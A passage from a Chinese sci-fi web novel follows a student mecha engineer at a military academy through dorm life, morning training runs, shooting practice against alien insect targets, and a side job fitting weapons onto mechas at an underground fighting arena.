“……” 赵宴月没接她的话茬，转移话题道：“你也报名了新星杯？” “当然！”庄思恬提到这来了精神，逮着机会就是炫耀：“我的灵兽刚升到终极态四阶，离最高等阶只差两阶。” “后面的等阶虽然提升慢，但等到明年联邦军校联赛开赛的时候刚好能升满。” 预料中的夸赞和惊叹没有到来。 她的室友似乎根本不关心她的灵兽几阶，对这番炫耀毫无反应，又去沉浸式铺她的破被子。 “哈喽？”庄思恬忍不住敲了敲门：“你没话要说吗？” 赵宴月叹了口气，稍微溺爱了一下自己的室友，敷衍道：“那我祝你成功。” “好吧，看在你诚心诚意祝福了我的份上……” 庄思恬丝毫不谦虚的收下了她的祝福，然后仰着下巴道：“如果你主动邀请我进你的卧室，那我也不是不可以帮你铺被子。” 她将赵宴月之前怼她的话还了回去，不过这句话一说完，只见原本对她爱答不理的人不但没生气，还变得热情洋溢。 变脸的速度快到让人没有一点缓冲。 “早说啊，快请进快请进。” 庄思恬：“……？” 赵宴月在庄思恬大方的施舍下整理好了自己的房间，然后终于腾出时间注册好账号，登上了兰柏林的校园论坛。 “这一届机甲尖兵系的新生人才辈出，刚在报道大厅看到了手工机甲……打开新思路。” “C级的大一新生都敢报名新星杯，我这个大三的老学长还在纠结。” “震惊！听说机甲尖兵系有个新生契约了没进化链的灵兽！” “最近这段时间虫潮平息了，好不习惯，总感觉虫族静悄悄肯定在作妖。” “不知道这次主办方邀请的哪些殿下做赛后净化，梦一个我女神会来。” “报！隔壁论坛的人说这一届新星杯要碾压我们，兄弟们速来支援。” “有没有机甲工程专业的同学新星杯组队啊，我们小队人均A级，实力保证。” “急急急，我们队缺个S级精神海的指挥，有意私聊。” 新星杯报名刚开启，现在正是组队热度和参赛激情最高的时候。 赵宴月没有随便找人组队，心里有种“人类的悲欢并不相通，我只觉得他们吵闹”的忧伤。 毕竟新星杯参赛选手最低都是B级，按她现在的水平来说，很难有人愿意和她组队。 即便她理论上是机甲工程专业的，但是她现在什么都没学，不可能靠机甲工程师的身份混进别人的小队。 组队的事现在暂且急不来，反正还有一个月才正式开赛，得抓紧时间好好学习天天向上才行。 开学第一天除了报道和填各种各样的表格外没什么其他事，赵宴月便去图书馆借了几本书来看。 兰柏林连开学典礼都没有，只不过下午让新生集合去大礼堂听了校长讲话——准确来说是布灵灵传话。 一年一次的发言让校长的讲话技巧已经炉火纯青，非常热血且极具煽动性，听得人心潮澎湃。 他还拉踩了一番对面的斯伦军校，有意无意给学生们树立了一个明确的对手，顿时激起了众人的好胜心和竞争欲。 赵宴月倒没有心潮澎湃，她已经翻着《机甲加装基础入门》沉浸在自己的世界里不知天地为何物了。 虽然大家都觉得她是个文盲，但是她只是缺乏一些生活小常识，赵宴月对于专业知识的学习能力一直很强。 机甲加装字如其名，就是给机甲加装武器，但这个武器并不是普通的热武——毕竟普通的火力武器对虫族根本造不成伤害。 机甲加装的武器更像是一种将精神力转换成能源的装置，不过种类依旧是寻常的武器品种，比如枪、炮、刀、锤、鞭、棍诸如此类。 一旦将武器加装到机甲上，机甲能挥出的力道和人能挥出的力道根本不是一个概念。 攻击类灵兽的天赋技能就像是大招，虽然伤害惊人但消耗的精神力太多，不可能持续性使用，大部分时间机甲尖兵都是靠自身作战，加装武器的重要性不言而喻。 随着对机甲加装的了解更加深入，赵宴月发现机甲的武器加装其实就是引力丝的架构。 简单来说就是将机甲手部的引力丝脉络连接到武器上，武器和机甲形成一个整体，精神力自然就可以流通。 真是大水冲了龙王庙，还以为武器加装是什么高端科技呢。 这事她熟啊。 在禁区的一个月可不是白待的，除了净化外，剩余的时间赵宴月基本都用来练习架构引力丝了。 当时一比一复刻出主干脉络花了两周时间，封嘉荣说她这个速度也就勉强合格，当时赵宴月就TOP癌发作痛定思痛决定努力练习。 给机甲架构出完整的引力丝脉络赵宴月做不到，区区加装个武器那还不是手拿把掐。 庄思恬此时擦着滴着水的头发走过来，见赵宴月还瘫在沙发上看书，这种做派让她不由发出顺其自然的怀疑：“赵宴月，你不会是生物机甲工程专业的吧？” 少女将书移开露出脸看向她，懒洋洋地应了一声。 “你怎么这么想不开？” 还真是这个专业。 庄思恬两眼一睁，啧啧啧了好几声：“这个专业大一的课基本都是和我们机甲尖兵系一起上的，除此之外还有好多专业课，体力和脑力双重摧残，一学一个不吱声。” 从生物机甲工程专业的学生数量这么少就能看出，这根本就不是什么人能学的专业，不过这些赵宴月早就从祝平安嘴里知道了。 想到祝平安，赵宴月想起她说过自己报考了斯伦军校。 斯伦的机甲尖兵系向来比兰柏林强，对祝平安来说压根不用纠结到底上哪个大学。 第56章 天刚蒙蒙亮, 黑色的夜幕中还看得见行星环从天上洒下的朦胧银光，一声尖锐的哨响划过军事学院上方的天空。 赵宴月正睡得迷迷糊糊，就被哨声和整栋宿舍楼同学们此起彼伏的起床动静惊醒。 卧室门被拍得砰砰直响, 赵宴月顶着一头炸毛的头发从床上坐了起来。 光脑屏幕在黑暗中亮起刺眼的光, 显示现在的时间是6:03分。 她闭上眼长长地深呼吸了一下，声音带着刚睡醒的沙哑：“搞什么啊？今天第一节课不是八点吗？” “谁和你八点。”门外传来庄思恬清脆的声音, “快点起床换上训练服，十分钟内训练场集合，要是迟到有你好果子吃。” 赵宴月挣扎着换上衣服去洗漱, 刷牙的时候含糊不清道：“谁说的要集合，我怎么不知道？” 庄思恬收拾的速度比她快得多, 甚至有功夫给自己在耳朵下方扎好了两个小丸子头，将“精致女孩”贯彻得很到位。 她一边往自己头上别发卡一边往门外走：“你昨天看一天的书，就是没看军事学院发下来的学生守则吗？” 学生守则这种东西在地球上没有学生会看。 再说《机甲加装基础入门》可比这个有意思多了, 发给赵宴月的学生守则她连翻都没翻开过。 庄思恬已经出了门, 赵宴月收拾好出门的时候，宿舍走廊里已经空空荡荡的没几个学生, 她见状也跑了起来踩着点到了训练场。 训练场上人山人海，学生们站成了四个方阵, 四名身高腿长的教官站定在各自方阵的最前方, 挺拔的身姿像是出鞘的利剑。 总教官放下手里的计时器, 声音透过大喇叭传来：“机甲工程系全体都有！” “到！” “军事指挥系。” “到！” “机甲尖兵系。” “到！” “军事战斗系。” “到！” 应到的声音一次比一次大, 呈现出一种昂扬向上的状态, 难怪要把机甲工程系排在第一，要是放最后简直就是整段垮掉。 毕竟整个机甲工程系大一到大四一共就三百人出头，拼尽全力也无法战胜其他系。 总教官拿着大喇叭穿梭进了学生方阵里，一边巡视着学生的衣着一边铿锵有力道：“作为兰柏林军事学院的学生, 你们需要做到——” “服从命令，听从指挥！严守纪律，勤奋训练！铁血铸魂，丹心永赤！忠于联邦，忠于人民！” 隔壁机甲尖兵方阵有同学张了张嘴但是没对上口型，有同学偷偷摸摸翻开一本小册子照着念，有的干脆闭着嘴滥竽充数。 听着训练场上整齐而洪亮的声浪，赵宴月站在队伍里茫然地打了个哈欠，睡意被震得一消而散。 这应该也是学生守则里面的内容，她决定回去把学生守则拜读八百遍。 总教官眼睛一眯，走到赵宴月的面前站定。 赵宴月哈欠打得戛然而止，两人四目相对，身旁众人的目光也纷纷看了过来，透出一种看热闹的味道。 “你、出列。” 总教官上前一步扫过她胸口的年级徽章，将喇叭稳稳地举到她嘴旁：“大一新生是吧，你把学生誓词给大家背一遍。” “……” 赵宴月将大喇叭往外推了推，回忆了一遍便字正腔圆地开始了诗朗诵，声音带着喇叭特有的电流感在训练场上响起。 “服从命令听从指挥，严守纪律勤奋训练，铁血铸魂丹心永赤，忠于联邦忠于人民。” 一字不差，不愧是我。 总教官脸上看不出喜怒，隔壁方阵机甲尖兵系有胆大的学生插话道：“陆教官，抽背得抽其他系的新生，他们机甲工程系的论背书就没输过。” 这句话话音一落，又有看热闹不嫌事大的学生跟着起哄：“陆教官来抽我们机甲尖兵系的试试，肯定有很多浑水摸鱼的新生。” 自己淋过雨就要撕了别人的伞是吧。 机甲尖兵系的新生顿时怒目而视，而赵宴月作为“背书没输过”的机甲工程系学生已经骄傲上了。 看她这模样，不知道的还以为是专门夸她来了，陆教官冷着脸道：“没有气势没有信念，重来一遍。” 众人发出一阵笑声。 赵宴月：“……”笑不出来。 等赵宴月提高音量抑扬顿挫地重新背完，陆教官看在她是新生的份上没有过多刁难，放过了她在自己眼皮子底下打哈欠的小动作。 他伸手将周围笑出声的、刚刚说话的同学挨个点了过去，冷血无情道：“没有组织没有纪律，加跑三圈。” 同学们：“……” 这下好了，大家都笑不出来了。 陆教官重新举起大喇叭，声音穿透了整个训练场：“全体都有！绕训练场十圈，现在开始！” 赵宴月看着训练场上一圈四百米打底的跑道，如遭雷击：“十圈？” 两圈八百米，十圈四千米……相当于五个八百米，新生们在训练场上面面相觑，以为自己听错了。 高中只有每周上体育课的时候跑个八百一千米，他们只是上了个大学，又不是变了个物种。 眼见高年级学生们都已经上跑道跑起来了，其他系的新生缓了一会儿后便像个哈士奇似的也兴冲冲地跟了上去。 唯有机甲工程系长相气质普遍都更加斯文的新生们格外大惊失色。 生物机甲工程专业虽然也要求会开机甲，但总体更偏向于搞科研的文科专业，身体素质肯定比不上军事学院其他系。 负责机甲工程系的林教官对这个系新生的反应早有预料，靴子踏在地上发出沉闷的声响，他直接走上前上压力：“还愣着做什么，都给我跑起来！” “不要想着偷偷少跑几圈，军事学院的学生凭四千米跑步记录进食堂，什么时候跑完什么时候吃饭。” 赵宴月这辈子没听过这么恐怖的话。 换以前的她肯定跑不了，但现在的她已经是钮祜禄·月，小五进化时她也得到了能量反馈，身体素质今非昔比。 ——虽然这个“昔比”到底能“比”到什么地步她也不知道，但是试试就知道了。 为了尽早吃上饭，赵宴月二话不说抬腿加入了跑步的队列中。 林教官满意地目送机甲工程系第一个动弹的新生离开，然后冷着一张脸看向其他犹犹豫豫试图和他讨价还价的其他人。 每一届机甲工程系的新生最开始都是这死出，已经算是保留节目了，林教官对这种情况早就游刃有余。 “服从命令听从指挥，光会背有什么用，说到就要做到！不要说你们是机甲工程系就怎么怎么样，你们系已经有学生开始跑了。” 他说到这指了指跑道上的赵宴月，然后发现这个学生跑是跑了，就是动作慢得像树懒，跑步速度堪比已经半截身子入土的百岁老人。 林教官面不改色地收回目光：“她能做到的事你们做不到吗！回答！” 机甲工程系的新生们看向赵宴月的目光就像是在看叛徒，稀稀拉拉拖长音回道：“做得到——” “很好。”林教官并不在意他们勉强的姿态，目光中带上了一丝压迫感：“军事学院的学生每天早上都要集合跑四千米，你们系的学哥学姐也是这么过来的，如果接受不了现在就可以去申请转专业，去兰柏林其他的契约者学院，在这里没有人会惯着你们。” 一番软硬兼施——主要还是够硬的威胁下，机甲工程系的新生们终于意识到这根本不是可以讨价还价的事。 他们纷纷丢盔弃甲放弃抵抗，又委屈又绝望地踏上了跑道。 等机甲工程系的新生都去跑步了，隔壁机甲尖兵系的教官踱步过来打趣道：“话说得这么重，我看你们系都有人差点要哭了。” “随便哭。”林教官看着学生们离开的身影，声音硬得像石头：“都说了早跑早吃饭，拖来拖去浪费的是他们自己的时间。” 二十分钟过去，早已习惯了四千米晨跑的学长学姐们几乎全员离开了训练场，他们的训练服被汗水浸湿，勾肩搭背地去食堂愉快干饭。 训练场上剩下的人全是大一新生，跑得快的还剩三两圈，跑得慢的才跑了一半。 教官们站在跑道边，看见有人停下来走路就吹起哨子催促，像是在赶一群已经耕了十亩地的牛。 江茂茂拖着沉重的步伐往前跑，跑着跑着看见前方有个熟悉的身影，他眼睛一亮，使出吃奶的力气加快脚步跟了上去。 “你、你这是第几圈了？” 赵宴月已经喘得像是犯了哮喘病，终于意识到小五进化时反馈的能量并不能让她长出肌肉，顶多让她跑完十圈不嘎巴一下晕过去。 她半死不活道：“第、第五圈。” 双方对视一眼，关系瞬间拉近，眼里透着对难兄难弟的惺惺相惜，完全没了继续说话的力气。 刚开始明显看着是江茂茂比赵宴月更有余力，随着一起跑了两圈下来，江茂茂便渐渐跟不上她的步伐。 江茂茂瞳孔地震，仔细观察了她一番，感觉赵宴月这个人指定有点说法在身上。 她的速度虽然慢得像乌龟在爬，但是爬得十分稳定，每一步迈出的步伐都均匀得可怕，从此至终从没有停下。 自己刚看见她时，她就是这么一副下一秒就要嘎巴一下死在这的架势，两圈下来竟然还保持着这死出。 不会是什么隐藏的高手吧？ 重生之我在兰柏林扮猪吃老虎？ 刚这么想着，江茂茂一扭头就对上一张脸色煞白得像是死了三天但还是非常好看的脸蛋。 他默默地放下了心中乱七八糟的猜想，气喘如牛地又跟了上去：“我……我不、不行了。” 赵宴月也气若游丝道：“别……别停……停了就跑不动了。” 时间一点点过去，场上只剩下最后几十个学生还在跑，一眼看去他们黑色训练T恤后面几乎全都写着“军事学院——机甲工程”。 这可怜的七八十个人就是机甲工程系今年的全部新生了。 陆教官拿起大喇叭，声音像鞭子一样抽在了每个人的背上：“跑起来，不要停！说是十圈就是十圈，谁都没有例外！不要浪费时间！” 他一喊，跑道上的学生就条件反射似的加快步伐，但是坚持了没十秒又萎了下来，然后又被其他教官吹着哨子催促。 陆教官的目光在一众的“机甲工程”里捕捉到了一个“军事学院——机甲尖兵”，而这个机甲尖兵系学生的身边正是他刚抽背过的女生。 他走到负责机甲工程系的林教官身边，用喇叭朝两人的方向指了指：“你看，那怎么还有个机甲尖兵系的。” 林教官早就注意到了他们系“一格电战士”旁边的男生，闻言道：“听说是机甲尖兵系唯一的C级精神海，用的人工打造机甲，还挺出名。” 他说到这干脆又示意陆教官看向江茂茂旁边的人：“这个也出名，这个是我们系唯一一个S级精神海。” “机甲工程系的S级？”陆教官脸上没有了面对学生时特意摆出的冷峻神色，有些惊讶道：“S级精神海的学生基本都性格好战，对机甲工程这种精细学科感兴趣确实闻所未闻。” 林教官动作幅度不大地点了点头： “要不怎么说军事指挥系几乎没有S级，这些学生比起坐镇指挥更愿意冲锋陷阵。” 他说到这难得地叹了口气：“明年联邦机甲联赛法温莎有闻怀玉和贺江山，一个最强S级指挥一个最强S级机甲尖兵，紫微星的第一又没有悬念。” “要对我们的学生有信心。” 陆教官说完这句话就没了下文，像是根本找不出有信心的“理论依据”，显得格外干巴巴。 “我倒是想有信心。”林教官的语气中透着一种已经认命的从容：“但是兰柏林目前大二大三的学生里确实找不出能和他们抗衡的天才。” “这不还有大一吗。”陆教官看向跑道上那些已经跑得跌跌撞撞的身影，“现在新生刚入学，学校对他们也不了解，一切皆有可能。” 赵宴月不知道教官的讨论，她只感觉自己的肺火烧火燎的疼，江茂茂断断续续的声音也传到耳边：“我真的……跑、跑不动了。” 实不相瞒，她也跑不动了，但是这话一说，两人双双泄气就会直接完蛋。 就算刻意调整了步伐，用最省力的方式去跑，她这从来没高强度锻炼过的身体也已经到了极限。 每一次呼吸都带着血腥味，每一步都越发难抬动灌铅似的双腿。 “最后一圈。”赵宴月重新调整了一下跑步的节奏，靠着意志力稍稍加快速度超过江茂茂几个身位，“跟着我。” 看着跑在自己前面刚好一点点的赵宴月，有了一个可以追逐的目标，江茂茂混沌的大脑终于清醒了一瞬，咬咬牙又硬生生跟了上去。 时不时观察着两人的林教官挑了挑眉，当看到赵宴月真的一步未停地跑完了十圈后，他在心里将对赵宴月的评价从“一格电战士”默默升级成了“一格电战神”。 ——随后顺手又拿她当例子去刺激还在跑道上停停跑跑的其他人。 “看看人家，跑完的都去吃饭了，不要想着我不行，别人行你就能行，都给我动起来！” 跑道上已经快虚脱的同学们艰难地抬起头，顺着林教官手指的方向看过去，发现一个熟悉的身影正往食堂的方向走。 好啊，又是这个可恶的家伙。 有这身体素质不去机甲尖兵系，来机甲工程系虐菜来了。 第57章 兰柏林军事学院里别的不多, 就是各种各样的室内外训练馆、室内外机甲训练场、室内全息模拟战场、操场等功能区众多。 上完上午的专业课后，下午的都是实训课。 这节课除了机甲工程系外还有机甲尖兵系的两个班一起上，训练馆里乌泱泱的差不多有两百个学生。 训练馆内部空间宽大, 高耸的天花板上悬挂着投影仪, 四周布满了各种武器的战斗技巧全息投影。 “这节课主要用来给你们挑选合适的武器。”薛清大步流星地走进来，二话不说直奔主题, 然后示意同学们看向四周的训练室：“选好武器就可以去各自训练室进行训练。” 训练馆里有很多间训练室，不同训练室里摆着不同类型的武器，从冷兵器到热武器一应俱全。 “机甲是用精神力操控, 这就意味着不管什么武器，只有你们自己会用才能操控机甲使用。”他看着底下跃跃欲试的学生：“原则上喜欢哪种武器就用哪种, 拿不定主意的同学可以都上手试试看，每个训练室都有专业指导老师。” 话音刚落，不少学生已经目标明确地走向各自心仪的训练室, 他们的契约灵兽在开学前就已经进化到了机甲态, 对自己适合什么武器早就心里有数。 赵宴月也没有犹豫，她在地球上的时候参加过真枪实弹的合法狩猎活动, 虽然不是什么神枪手但也上过射击课程。 对比起其他更需要操作的兵器，她只对枪还算熟悉。 射击训练室里格外冷清, 只有零星几个学生, 指导老师见有学生过来, 掀起眼皮打量了她一眼问道：“精神海什么等级？” “S级。” 指导老师闻言表情没什么变化, 用下巴指了指摆放着一把把枪支的墙壁：“选吧。” 琳琅满目的枪械让人眼花缭乱, 赵宴月一眼就看出来这些枪枪身金属明显也是用的虫族残骸，188星币/g的那种。 枪械的外观和她印象中大差不差，用精神力能感应出枪械内部用引力丝和未知的机械部件架构得十分精密，构成了精神力转能源的高端科技。 “用精神力连接内部的引力丝接口, 精神海就是你的子弹库。” 薛清不知道什么时候走了进来，示意她看向五十米外的人形靶子：“开一枪看看。” 赵宴月适应了一下枪的手感，深吸一口气举枪瞄准，“砰”的一声枪响，黑红色的能源弹正中人形靶的眉心。 她骄傲仰头，而薛清眉头微皱：“你是故意打在这还是打偏了？” “我打偏了？”赵宴月横看竖看，那个弹孔都不偏不倚刚好在眉心的位置，她困惑中不失迷茫：“老师，我应该打在哪里？” “虫族身上的晶源在胸口处……” 话音未落，又是“砰”的一声枪响在训练室内炸开，人形靶的胸口处立马出现了一个洞。 薛清收回视线，面无表情地把话说完：“但是能源弹不能直接击碎虫族身上的晶源。” “……哈哈，手快了，您继续说。” 草率了。 薛清走到了靶子旁，手指在靶面上划过，勾勒出复杂的图案：“以胸口晶源为中心，晶源会向四周蔓延出一条条不规则的发光纹路，向纹路每一个分叉的节点射击能对虫族造成最大程度的伤害。” “这种纹路只会出现在B级虫族身上，更高等级的虫族身上没有看得见的纹路可以让你进行对照，所以对某些固定的大节点位置要心中有数。” 他说到这，伸手随意在没有任何标识的靶子上点出十几个位置：“记住了吗？” 赵宴月回忆一秒，点了点头。 “开枪。” 随着十几声枪响声在射击馆中回荡，刚刚薛清手指点过的位置纷纷出现了弹孔，分毫不差。 薛清这时眼中才闪过一丝兴味，打量了赵宴月一眼道：“记性不错，机甲尖兵系哪个班的？” “老师我是机甲工程系的。” “……？” 不等薛清追问，赵宴月已经抢先问道：“用枪对精神海等级有要求吗，不是说喜欢什么武器就可以用哪种吗？” “枪炮之类的武器消耗的精神力多，我不建议精神海低于A级的学生对机甲加装枪炮，其他兵器结合天赋技能也可以打出一样的效果。” 薛清说到这，不知道从哪抽出一根长鞭，他手腕轻轻一抖，长鞭瞬间像是灵蛇出洞，在空中划出一道弧线。 一道浅蓝色的冰棱带着破空的尖锐呼啸声和冰冷的寒气从空中穿过，直接破开了对面的人形金属靶。 “其他兵器不用经过能源转换装置，使用精神力的性价比会更高，但不能精准打击到虫族身上的节点。” 总之各有各的利弊，找到适合自己的最重要。 薛清见赵宴月打固定靶没什么问题，便启动了移动靶系统。 数十个全息投影的B级虫族影像突然闪现在射击区，移动速度完全参照了虫族的移动速度，快到眼睛都看不过来。 “试试。” 果然，打高速移动的靶子赵宴月射击的准头降了不少，虽然能做到打中，但对于节点的位置已经无暇顾及。 薛清见状挑了挑眉，留下一句“菜就多练”便走出了射击训练室，去看其他学生的情况。 能源枪在掌心微微发烫，赵宴月放下枪喝了口水，看着十几个时而冲刺时而转向的虫族残影忽然眯了眯眼。 这些虫族不是真实的虫族。 虽然数量众多且行动轨迹相当混乱，但其中绝对藏着某种规律，只要找到规律就代表着可以准确预判。 视网膜上映射出虫族的残影，赵宴月的大脑快速启动，眼前的画面似乎也开始了慢放。 她像是一台高速运转的计算机般从混乱中剥离分析出了每个全息投影的行动轨迹，然后突然一拍桌子笑出了声。 “哈？菜就多练？我练起来你别害怕。” 射击馆的指导老师：“……？” 薛清再次往射击训练室走的时候，还没进门就听到了十分匀速的枪响。 随着一声声枪响，虚拟屏幕上“完美命中”的提示频繁闪现，几乎十枪有八枪都命中了节点，进步速度简直惊人。 薛清：“……？” 指导老师见状指了指赵宴月道：“当时两眼冒火地喊着什么‘菜就多练’，然后举起枪就开窍了，真稀奇。” 薛清：“……” 他站在旁边看了许久，发现赵宴月刚才十枪八中并不是恰好运气好的意外，她现在甚至在往十枪九中的方向发展。 等她放下枪，薛清这才慢悠悠走上前提道：“报名新星杯了吗？” “报了。” “组好队了吗？” “还没。” 薛清闻言提醒：“组队要尽快，不然好队友都被组走了，个人实力再强也不够用，新星杯归根结底是团队赛。” 赵宴月也想快点组队，但是现在的问题是别人根本看不上她：“……我会想办法的。” 薛清没想通她一个S级精神海怎么组队还要“想办法”，等回到办公室的时候，干脆调出了赵宴月的学生资料看了一眼。 见到他这架势，兰柏林联赛负责组的老师立马问道：“薛组长发现好苗子了？” 薛清扫过资料上契约者等级后面显示的“C级”，稍稍皱了皱眉：“不好说。” “怎么还‘不好说’了？” “S级精神海的大一新生，现在契约者等级是C级。” “才C级？”对方惊讶地睁大眼睛，“不可能吧，灵兽也就终极态的等阶难升，她的精神力都花哪去了？” “所以我说不好说。”薛清关了档案，屏幕暗下去的瞬间映出他若有所思的表情：“她学习能力很强，先观望一下。” …… 赵宴月已经想到了组队的办法。 机甲尖兵目前确实卷不动，但是机甲工程师竞争小好上岗，兰柏林论坛里天天都有找工程师队友的帖子刷屏。 不过机甲加装这门课程是大二的选修课，现在还接触不到，要想短时间上手也不能靠上课。 赵宴月从光脑上扒拉了一下联系人，给封嘉荣打了个全息通讯。 投影里的中年男人依旧一脸丧丧的表情，听到赵宴月的来意直接给她指了条明路，让她去地下黑赛打工。 “地下黑赛？” “机甲对战的灰色赌场，你不是想学武器加装吗，这么简单的东西自己上手多试几遍就会了。”封嘉荣说完懒洋洋地打了个哈欠，“找到108号酒馆点一杯‘禁忌之夜’就能进去，到时候报我的名字就行。” “真的假的？你现在的名声稀烂诶。” 封嘉荣猝不及防被她扎了一刀，挽尊道：“那你别管。” “喔。”赵宴月想了想又问道：“你不是紫微星的人吗，怎么对玻娅区这么熟悉？” “我不熟。”封嘉荣追忆了一下从前：“这玩意儿是星际连锁产业，每个繁荣的大区都有，我以前上学的时候就靠干这个维持生计。” 赌场还有连锁的，赵宴月叹为观止，在挂断电话前，她还特意提醒道：“预计两周之后我的契约灵兽就能达到进化要求。” 封嘉荣听到这话终于精神了点：“到时候我会过去的。” 挂断电话之后，封嘉荣这才想起来忘记和她说记得分清“武器加装”和“机甲加装”了。 一想到自己曾经勤工俭学的时候被他们区地下黑赛的负责人坑得好惨，封嘉荣当即决定也撕了赵宴月的伞。 谁让她说自己名声稀烂，他以前都被叫天才的好不好。 赵宴月一出校门，易秋立马便收到消息来接她，只不过听到赵宴月要去108号酒馆后稍微顿了顿。 “小姐想看机甲对战的话有很多正规的比赛可以看，这种地下黑赛打起来死伤不论，会比较暴力血腥。” “我不是去看比赛的，别管。” “喔。” 易秋只好乖乖将看比赛的建议咽回去。 没一会儿，她又想起了什么似的不放心地提醒道：“小姐在禁区的时候，联邦已经开始着手对玻娅区的邪教窝点进行全面清扫，目前刚好到了收尾阶段，现在正是那些人狗急跳墙的时候，这段时间要是出学校的话小姐务必让我陪同，不要一个人行动。” “你也参加了清扫的行动吗？” 易秋点点头，恰到好处地露出一个委屈的表情，老实巴交地卖惨：“没法跟着小姐上学，我只能在外面干点别的来保护小姐的安全了。” “虽然但是，就算你这么说，我也不会让你跟着我上学的。” “……喔，那没事了。” 悬浮车驶入玻娅区的街道，不一会儿就停在了不停巷，108酒馆的招牌在巷子里闪着五颜六色的光。 不停巷离兰柏林的位置很近，近到都没必要坐车。 推开108酒馆厚重的复古橡木门，扑面而来的是混杂着酒香和不知名冷香的空气。 昏暗的灯光下，三三两两的顾客散坐在吧台周围低声交谈，看着就是寻常酒馆的模样。 赵宴月向吧台的酒保点了“禁忌之夜”——一杯标价999星币的白开水装在酒杯里推到了她面前。 ……好歹放片柠檬片当柠檬水呢。 比起酒，不如说这是地下黑赛的入场门票。 “请跟我来。”穿着白衬衫黑马甲的侍者不知道什么时候站到了她身侧，声音轻得像羽毛落地。 赵宴月跟着侍者在昏暗的灯光中进了老旧的货运电梯，下行到负一层，眼前的景象豁然开朗。 挑高近二十米的穹顶下，数十个机甲对站台呈环形分布，每个对战区都环绕着阶梯式观众席，看着十分恢弘大气。 每个对战区的观众席上都坐了人，只不过有的对战区观众数量密密麻麻，有的对战区观众数量稀稀拉拉。 比赛通知栏上几乎时时刻刻都有比赛，比赛信息不断刷新，相当于地下黑赛几乎是全天都在运转。 赵宴月按照封嘉荣的指示找到了这个地下黑赛的负责人，表示自己是封嘉荣推荐来的。 她原本还对封嘉荣的名号有点不自信，没想到负责人听到封嘉荣的名字两眼一亮：“封嘉荣？” “封工程师推荐的人肯定没错，这样吧，加装费用就按照加装一个部位500星币来算怎么样？” 赵宴月被小小的震撼了一下：“多少？” 机甲工程师给一具机甲架构引力丝出手就是几十万星币，有名气的更是百万起步，机甲加装赚的这点简直就是打发叫花子。 “武器加装不比架构引力丝，技术含量不高嘛。” 负责人笑眯眯地解释，仿佛自己已经报出了一个天文数字：“500星币一个部位价格已经很公道啦，一天随便加装十个就是5000星币，这个价格我绝对没有骗你，不信你随便找人问嘛。” 好像也有道理。 一想到天市星人均每月薪资也就6000星币，赵宴月又觉得这个价格也正常。 反正她也不是为了赚钱来的，就算是倒贴打工也不是不行。 她没有异议地点了点头，签完合同后被火速发了个工作证，然后就被领到了机甲加装工作区。 走廊里两侧排列着数十个工作室，门口的虚拟屏上有的显示着“营业中”，有的显示着“暂停营业”，有的显示着“只接加急”。 赵宴月推开分配给她的工作间，眼前的景象让她呼吸一顿。 工作室内部的空间很大，什么电磁炮粒子刀，各种各样五花八门的武器种类比兰柏林训练馆里的武器库还多。 除了武器之外，角落里还堆放着成箱的或大块或小块的金属配件，有的泛着蓝光有的滋滋冒电，不知道是干什么用的。 赵宴月在虚拟屏上用工作证打了个卡，屏幕上立马显示出“营业中”的标识。 就在她研究那些金属零件的时候，有选手扛着一个超大的金属羽翼推门走了进来，脸上还冒着热汗。 他将一台通体赤红色的机甲召唤了出来，顺手递出一张数据芯片，眼巴巴道：“师傅，帮我给机甲加装个电磁炮和翅膀，这是武器设计师做好的设计图。” ……翅膀？ 这也是武器？ 作为一个加装经验为零的机甲工程师，赵宴月不敢说也不敢问，只是深沉地点了点头，然后将芯片插进光脑里。 光脑上投影出的三维图纸，上面可折叠的金属羽翼结构复杂得令人发指，密密麻麻的引力丝标记在每一根羽翎内部。 每点击一根引力丝，旁边就会出现标注着长度宽度深度的精密参数。 有点汗流浃背了。 “师傅你看着年纪轻轻，还是很有专业态度的嘛，我之前找的工程师都不接这活。” 专业？什么专业？ 赵宴月根本没听他在说什么，胡乱抓住关键词说出了真心话：“那肯定，干我们这个专业的通常都不太专业。” “啊？” “……我是说干我们这行的都很有专业态度，不管什么活都会时刻保持一颗敬畏之心。” “哦哦，那师傅你先忙着，我就不打扰你了，我的比赛在一周之后，到时候我来取机甲。” 工作室的门缓缓关闭，将选手们来来往往的脚步声隔绝在外，赵宴月深吸一口气，摸了摸机甲冰冷的金属表面开始干活。 电磁炮上面本身就有引力丝的接口，衔接到机甲上并不难，但是操作比较繁复。 机甲的手部要想灵活势必会架构许多细分脉络，这些脉络都需要一根根的通过接驳器和武器接上，否则就会造成精神力和武器接触不良的问题。 赵宴月适应了一会儿后感觉确实不难，展开了八爪鱼大法为她的每一缕精神力都找到了活干。 就是这个翅膀…… 赵宴月盯着翅膀沉思的功夫，门外突然传来一声暴躁的吼声，音量大到穿透了工作室的门清晰地响起在耳边。 “你找的什么武器设计师！他是设计爽了，根本不管机甲工程师的死活！我有这架构引力丝的水平早就去架构机甲了，还干什么加装啊！” “多少钱都不行！拿着你的设计图给我滚！！！” 第58章 兰柏林校园论坛上出现了一个帖子, 因为标题过于炸裂被顶成了热帖。 拧螺丝中勿扰：“曾经以为机甲工程师是手握引导棒的高端魔法师，真干了这行后我在厂里拧螺丝。” 点进发帖人主页，学生认证信息显示是大一机甲工程系的学生。 军事学院的学生们纷纷在帖子地下评论了起来。 “机甲工程里唯一能和拧螺丝扯得上关系的只有机甲加装了吧。” “师傅你才大一怎么就跑去拧螺丝了？师傅你拧得明白吗？” “说到机甲加装, 我真服了那些武器设计师, 要在他们设计的武器里架构引力丝真是老母猪钻篱笆进退两难。” “军事战斗系的乱入一下，给机甲加装武器很难吗？” “不难, 前提是你要加装的武器内部拥有成熟的引力丝系统，而不是拿着一堆破铜烂铁让你先架构出引力丝再接上机甲。” “楼主真能干机甲加装的活吗？新星杯的物资包里经常会出现破铜烂铁……” “Big胆！什么破铜烂铁，你对新星杯有没有敬畏之心, 那都是正常武器好不好。” “接不上机甲的正常武器对虫族杀伤力为零哈，就是破铜烂铁怎么了。” “你们真信楼主会机甲加装啊, 众所周不知，不是进了机甲工程系就是机甲工程师，大一新生现在课都没上几天。” “我作证！机甲工程系大一的专业课偏向灵兽进化, 要想不挂科需要在一年时间内背完5cm厚的《灵植基础》, 现在还接触不到引力丝架构。” “那机甲尖兵系大一还不教开机甲呢，不也有很多学生会开机甲。” “不管了, 楼主新星杯组队吗，就算只会武器加装也行啊, 我真不想开着机甲赤手空拳的对上虫族……” “服了, 兰柏林机甲工程系怎么才招这么点人, 下次不要再这样了哈。” “请问才招这么点人是因为兰柏林不想招吗？” “咱就是说有没有可能去隔壁斯伦的机甲工程系抢人？” 